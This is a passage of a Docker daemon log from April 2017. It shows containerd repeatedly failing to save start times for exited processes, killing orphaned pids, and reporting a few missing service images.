/proc/10808/stat: no such file or directory\ \r apr 27 13:28:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:18.818444637z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f1222356a30b5d3c803cd4acebaf3a4dfade143749ebcf369289667a6ad3e17e  pid 10808  has become an orphan, killing it\ \r apr 27 13:28:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:18.870710012z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:aa3f828f3f152c60860374c37bc697395339b5b81046ff69424c64510b850964 starttime: open /proc/10828/stat: no such file or directory\ \r apr 27 13:28:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:18.870940842z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:aa3f828f3f152c60860374c37bc697395339b5b81046ff69424c64510b850964  pid 10828  has become an orphan, killing it\ \r apr 27 13:28:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:18.923561342z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:b4711123198b3d30e56c923ad5f96d466fe7e69b48fc824fa5c58018baf95f51 starttime: open /proc/10850/stat: no such file or directory\ \r apr 27 13:28:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:18.924231959z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:b4711123198b3d30e56c923ad5f96d466fe7e69b48fc824fa5c58018baf95f51  pid 10850  has become an orphan, killing it\ \r apr 27 13:28:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:28.806797638z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:b8a066cc2d20b429b70f6dcdaf474e47b95f8f1c908ee95ecd6450c8f86e6c32 starttime: open /proc/12088/stat: no such file or directory\ \r apr 27 13:28:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:28.806977226z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:b8a066cc2d20b429b70f6dcdaf474e47b95f8f1c908ee95ecd6450c8f86e6c32  pid 12088  has become an orphan, killing it\ \r apr 27 13:28:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:28.856057801z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:61d5578ddda02302d6b7bc42d9a9bc462e2bb0e370dbb05bcc3ccda1a455e871 starttime: open /proc/12109/stat: no such file or directory\ \r apr 27 13:28:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:28.856349532z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:61d5578ddda02302d6b7bc42d9a9bc462e2bb0e370dbb05bcc3ccda1a455e871  pid 12109  has become an orphan, killing it\ \r apr 27 13:28:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:28.905299177z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:94260f105f5b531f31cd67799b9f49100c650205cbe20f77385b57c19e305b66 starttime: open /proc/12129/stat: no such file or directory\ \r apr 27 13:28:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:28.905565572z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:94260f105f5b531f31cd67799b9f49100c650205cbe20f77385b57c19e305b66  pid 12129  has become an orphan, killing it\ \r apr 27 13:28:30 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:30.313369239z\  level=error msg=\ handler for get /v1.24/images/saltside/inventory-service:cf3673d/json returned error: no such image: saltside/inventory-service:cf3673d\ \r apr 27 13:28:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:39.030732469z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:3c67912db5924139f6b4df2e02b0724092029faec93a455631137d345b684042 starttime: open /proc/12329/stat: no such file or directory\ \r apr 27 13:28:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:39.033153694z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:3c67912db5924139f6b4df2e02b0724092029faec93a455631137d345b684042  pid 12329  has become an orphan, killing it\ \r apr 27 13:28:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:39.082834492z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:7def2a0d74b76c50eb8f724f7c7ff5014047c4f285821d751bd69b4c922bd238 starttime: open /proc/12350/stat: no such file or directory\ \r apr 27 13:28:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:39.083070689z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:7def2a0d74b76c50eb8f724f7c7ff5014047c4f285821d751bd69b4c922bd238  pid 12350  has become an orphan, killing it\ \r apr 27 13:28:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:39.141902913z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c5c9f3f269bfde24620020c7bacb8d3932100fb9af683e708e9efb20d4fc7f0a starttime: open /proc/12369/stat: no such file or directory\ \r apr 27 13:28:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:39.142089099z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c5c9f3f269bfde24620020c7bacb8d3932100fb9af683e708e9efb20d4fc7f0a  pid 12369  has become an orphan, killing it\ \r apr 27 13:28:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:48.848595263z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f984109d1c150139a3d0165edb640e593d5a9531fcae0b6a8d9f7c616e39e548 starttime: open /proc/12605/stat: no such file or directory\ \r apr 27 13:28:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:48.849108021z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f984109d1c150139a3d0165edb640e593d5a9531fcae0b6a8d9f7c616e39e548  pid 12605  has become an orphan, killing it\ \r apr 27 13:28:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:48.886798367z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:4703c5555a6b426e1b0129256471fb44c420c58b1a66a93d2edadc8b2fa9cb0f starttime: open /proc/12625/stat: no such file or directory\ \r apr 27 13:28:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:48.887042929z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:4703c5555a6b426e1b0129256471fb44c420c58b1a66a93d2edadc8b2fa9cb0f  pid 12625  has become an orphan, killing it\ \r apr 27 13:28:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:58.855656572z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:959d19d2f973044a3d6439cd0577ac480518046d086ad016c021089428ec2012 starttime: open /proc/12841/stat: no such file or directory\ \r apr 27 13:28:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:58.857209521z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:959d19d2f973044a3d6439cd0577ac480518046d086ad016c021089428ec2012  pid 12841  has become an orphan, killing it\ \r apr 27 13:28:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:58.891382742z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:91c17e0276e2940b69daed7517b1926a77a22e31136a876b7e2220ef6645a348 starttime: open /proc/12861/stat: no such file or directory\ \r apr 27 13:28:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:58.892066554z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:91c17e0276e2940b69daed7517b1926a77a22e31136a876b7e2220ef6645a348  pid 12861  has become an orphan, killing it\ \r apr 27 13:29:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:08.832678727z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:8686b0b1fd7a3c45b02f152fed4d5574602067067aad410c03fcec0bfc40593f starttime: open /proc/13111/stat: no such file or directory\ \r apr 27 13:29:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:08.835421548z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:8686b0b1fd7a3c45b02f152fed4d5574602067067aad410c03fcec0bfc40593f  pid 13111  has become an orphan, killing it\ \r apr 27 13:29:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:08.902776061z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5ef77b59bb82fb2de628a4aeeaa7531711566bcc7b610e6a80b2bdebb9f8e14c starttime: open /proc/13133/stat: no such file or directory\ \r apr 27 13:29:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:08.903039042z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5ef77b59bb82fb2de628a4aeeaa7531711566bcc7b610e6a80b2bdebb9f8e14c  pid 13133  has become an orphan, killing it\ \r apr 27 13:29:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:18.787359238z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:4883fbc7d881a972390383d4ca34710a0bfa8cbe96b66c70eed6ddfa5e207d69 starttime: open /proc/13313/stat: no such file or directory\ \r apr 27 13:29:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:18.787582748z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:4883fbc7d881a972390383d4ca34710a0bfa8cbe96b66c70eed6ddfa5e207d69  pid 13313  has become an orphan, killing it\ \r apr 27 13:29:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:18.840258268z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:107e74381d60ee5872a28a5f23f1946f16974504e58b611d363ba3b07cd9033f starttime: open /proc/13333/stat: no such file or directory\ \r apr 27 13:29:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:18.840782155z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:107e74381d60ee5872a28a5f23f1946f16974504e58b611d363ba3b07cd9033f  pid 13333  has become an orphan, killing it\ \r apr 27 13:29:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:18.890659475z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:36beb0b7458df301664423c8f44ed22e9ed4f2878b5a6e7ff918d4e85d35693a starttime: open /proc/13355/stat: no such file or directory\ \r apr 27 13:29:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:18.890885106z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:36beb0b7458df301664423c8f44ed22e9ed4f2878b5a6e7ff918d4e85d35693a  pid 13355  has become an orphan, killing it\ \r apr 27 13:29:20 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:20.022078501z\  level=error msg=\ handler for get /v1.24/images/saltside/offer-service:1ed0045/json returned error: no such image: saltside/offer-service:1ed0045\ \r apr 27 13:29:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:28.81918227z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:0f4b6b65f20cc3511f555920c08fb563ec43af989627890df14e93dee10e1a6f starttime: open /proc/13596/stat: no such file or directory\ \r apr 27 13:29:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:28.819594497z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:0f4b6b65f20cc3511f555920c08fb563ec43af989627890df14e93dee10e1a6f  pid 13596  has become an orphan, killing it\ \r apr 27 13:29:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:28.868054334z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:db0254e82cd1a05a9fa9d883936d324b8f5318d54620fb36c1d3da91a0958a23 starttime: open /proc/13636/stat: no such file or directory\ \r apr 27 13:29:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:28.870810087z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:db0254e82cd1a05a9fa9d883936d324b8f5318d54620fb36c1d3da91a0958a23  pid 13636  has become an orphan, killing it\ \r apr 27 13:29:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:38.797374356z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:ca1332ad3232ca156dbda469c11edc70bceac30138f11e698a052aa22216257e starttime: open /proc/13811/stat: no such file or directory\ \r apr 27 13:29:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:38.797914849z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:ca1332ad3232ca156dbda469c11edc70bceac30138f11e698a052aa22216257e  pid 13811  has become an orphan, killing it\ \r apr 27 13:29:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:48.787776197z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:18bc21a08a123b54f48978effc4a492ec435d4811c43c10621960ed848c3907d starttime: open /proc/13974/stat: no such file or directory\ \r apr 27 13:29:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:48.788296907z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:18bc21a08a123b54f48978effc4a492ec435d4811c43c10621960ed848c3907d  pid 13974  has become an orphan, killing it\ \r apr 27 13:29:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:48.836660817z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:7574181efe018d434d9dfe45a4b27a1087a0844a1cba596aef0ff634cec1257e starttime: open /proc/13995/stat: no such file or directory\ \r apr 27 13:29:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:48.8372222z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:7574181efe018d434d9dfe45a4b27a1087a0844a1cba596aef0ff634cec1257e  pid 13995  has become an orphan, killing it\ \r apr 27 13:29:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:58.787852922z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f55819b8c4e93155de40244f566a573c8e1751edda0a3b7f7cffc3fe99b79c2d starttime: open /proc/14172/stat: no such file or directory\ \r apr 27 13:29:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:58.790012378z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f55819b8c4e93155de40244f566a573c8e1751edda0a3b7f7cffc3fe99b79c2d  pid 14172  has become an orphan, killing it\ \r apr 27 13:29:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:58.821008269z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:1250e50e8c90f9012f7af9750dcd4b5477d539403032d1345b1134021b845259 starttime: open /proc/14193/stat: no such file or directory\ \r apr 27 13:29:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:29:58.821738128z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:1250e50e8c90f9012f7af9750dcd4b5477d539403032d1345b1134021b845259  pid 14193  has become an orphan, killing it\ \r apr 27 13:30:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:08.790004688z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5c4efedad9ec7b78c4c9d5b3b695f7172d2d67cdb5339d2a8d18cb12adc76b41 starttime: open /proc/14302/stat: no such file or directory\ \r apr 27 13:30:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:08.790575472z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5c4efedad9ec7b78c4c9d5b3b695f7172d2d67cdb5339d2a8d18cb12adc76b41  pid 14302  has become an orphan, killing it\ \r apr 27 13:30:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:08.823409964z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:d108240c0f7afe1ef1993710f085e349418b72858138754a56b5cbaa9284a670 starttime: open /proc/14322/stat: no such file or directory\ \r apr 27 13:30:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:08.823637417z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:d108240c0f7afe1ef1993710f085e349418b72858138754a56b5cbaa9284a670  pid 14322  has become an orphan, killing it\ \r apr 27 13:30:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:18.792342906z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:7e45fa79fcc64c456a7242cd38791e55e9c5a964e0cd26220e7e81d8f7cd4f50 starttime: open /proc/14454/stat: no such file or directory\ \r apr 27 13:30:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:18.792968025z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:7e45fa79fcc64c456a7242cd38791e55e9c5a964e0cd26220e7e81d8f7cd4f50  pid 14454  has become an orphan, killing it\ \r apr 27 13:30:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:28.821767745z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:b09f7801bf03720ac29aef536b8b294435598ca73ceee2768040b49b6acc0d5a starttime: open /proc/14739/stat: no such file or directory\ \r apr 27 13:30:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:28.824633567z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:b09f7801bf03720ac29aef536b8b294435598ca73ceee2768040b49b6acc0d5a  pid 14739  has become an orphan, killing it\ \r apr 27 13:30:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:28.990596558z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:cf1490b0053cae18a9904eb717ae0d235a7d00b8d653c075309232e5f69f1105 starttime: open /proc/14782/stat: no such file or directory\ \r apr 27 13:30:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:28.990811854z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:cf1490b0053cae18a9904eb717ae0d235a7d00b8d653c075309232e5f69f1105  pid 14782  has become an orphan, killing it\ \r apr 27 13:30:32 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:32.582225789z\  level=error msg=\ handler for get /v1.24/images/saltside/search-service:03c1984/json returned error: no such image: saltside/search-service:03c1984\ \r apr 27 13:30:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:39.26386356z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:a890098c2aef5914ecea3b8f2aea34539c291fefffcf9337e34cba14b35fdf72 starttime: open /proc/14887/stat: no such file or directory\ \r apr 27 13:30:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:39.266888335z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:a890098c2aef5914ecea3b8f2aea34539c291fefffcf9337e34cba14b35fdf72  pid 14887  has become an orphan, killing it\ \r apr 27 13:30:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:39.313883059z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:4afd425b5e1e4b35ae52c36ba4bb120ae51e68942472cb62d51b74f7da98b77e starttime: open /proc/14908/stat: no such file or directory\ \r apr 27 13:30:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:39.314152045z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:4afd425b5e1e4b35ae52c36ba4bb120ae51e68942472cb62d51b74f7da98b77e  pid 14908  has become an orphan, killing it\ \r apr 27 13:30:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:48.791159988z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:75805db55391110824dea819ce56d478a39ba759a7ad015f8a4dd28a88db8962 starttime: open /proc/15146/stat: no such file or directory\ \r apr 27 13:30:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:48.79405853z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:75805db55391110824dea819ce56d478a39ba759a7ad015f8a4dd28a88db8962  pid 15146  has become an orphan, killing it\ \r apr 27 13:30:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:48.829435984z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:f9d795d9b9242c6b3705491645668a46c714e061f630693b8d61bab45e29f27e starttime: open /proc/15164/stat: no such file or directory\ \r apr 27 13:30:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:48.829864054z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:f9d795d9b9242c6b3705491645668a46c714e061f630693b8d61bab45e29f27e  pid 15164  has become an orphan, killing it\ \r apr 27 13:30:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:58.787682284z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:0f856c1d012bfd6885b1929cdc82417e43f53d1adb511f4edc64094825230a68 starttime: open /proc/15281/stat: no such file or directory\ \r apr 27 13:30:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:58.78821212z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:0f856c1d012bfd6885b1929cdc82417e43f53d1adb511f4edc64094825230a68  pid 15281  has become an orphan, killing it\ \r apr 27 13:30:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:58.83968037z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f662ad51e97ffd63f34fac945a1cfa74deb3bcaa17415f5ca379162f04abe069 starttime: open /proc/15323/stat: no such file or directory\ \r apr 27 13:30:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:30:58.839953642z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f662ad51e97ffd63f34fac945a1cfa74deb3bcaa17415f5ca379162f04abe069  pid 15323  has become an orphan, killing it\ \r apr 27 13:31:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:08.851763462z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:6222746752d3865cecb94e106e233c04f4ef8bbcfc5b9e2e8eb1667df4faaa13 starttime: open /proc/16396/stat: no such file or directory\ \r apr 27 13:31:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:08.853960663z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:6222746752d3865cecb94e106e233c04f4ef8bbcfc5b9e2e8eb1667df4faaa13  pid 16396  has become an orphan, killing it\ \r apr 27 13:31:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:18.81838934z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:80c27df10c3d3903cb97f63d5568620fa2f9b4ed83bbc34172376b0166003d6c starttime: open /proc/16958/stat: no such file or directory\ \r apr 27 13:31:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:18.818865093z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:80c27df10c3d3903cb97f63d5568620fa2f9b4ed83bbc34172376b0166003d6c  pid 16958  has become an orphan, killing it\ \r apr 27 13:31:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:18.902385599z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:7e8303ac5a151f54efb289f5983743018aa26c9e8db37d08c8dc487d1b0d683e starttime: open /proc/16998/stat: no such file or directory\ \r apr 27 13:31:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:18.90308368z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:7e8303ac5a151f54efb289f5983743018aa26c9e8db37d08c8dc487d1b0d683e  pid 16998  has become an orphan, killing it\ \r apr 27 13:31:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:28.787929344z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:83167e1723edc5315efbdad90f763842f3b3573a41be9a56a7f46c8b12dfa55a starttime: open /proc/17326/stat: no such file or directory\ \r apr 27 13:31:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:28.788474339z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:83167e1723edc5315efbdad90f763842f3b3573a41be9a56a7f46c8b12dfa55a  pid 17326  has become an orphan, killing it\ \r apr 27 13:31:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:28.820614896z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:a3cc9b765429be3cbc4796abceaa1547bf948602b6388535ba7ef26bcb61a771 starttime: open /proc/17345/stat: no such file or directory\ \r apr 27 13:31:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:28.821066047z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:a3cc9b765429be3cbc4796abceaa1547bf948602b6388535ba7ef26bcb61a771  pid 17345  has become an orphan, killing it\ \r apr 27 13:31:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:38.788468545z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:cd52f883345bd20d18298ec6db5a6868ffde550732e4430c95dfbf983236f62e starttime: open /proc/17751/stat: no such file or directory\ \r apr 27 13:31:38 ip-172-20-52-174 dockerd 1001 : 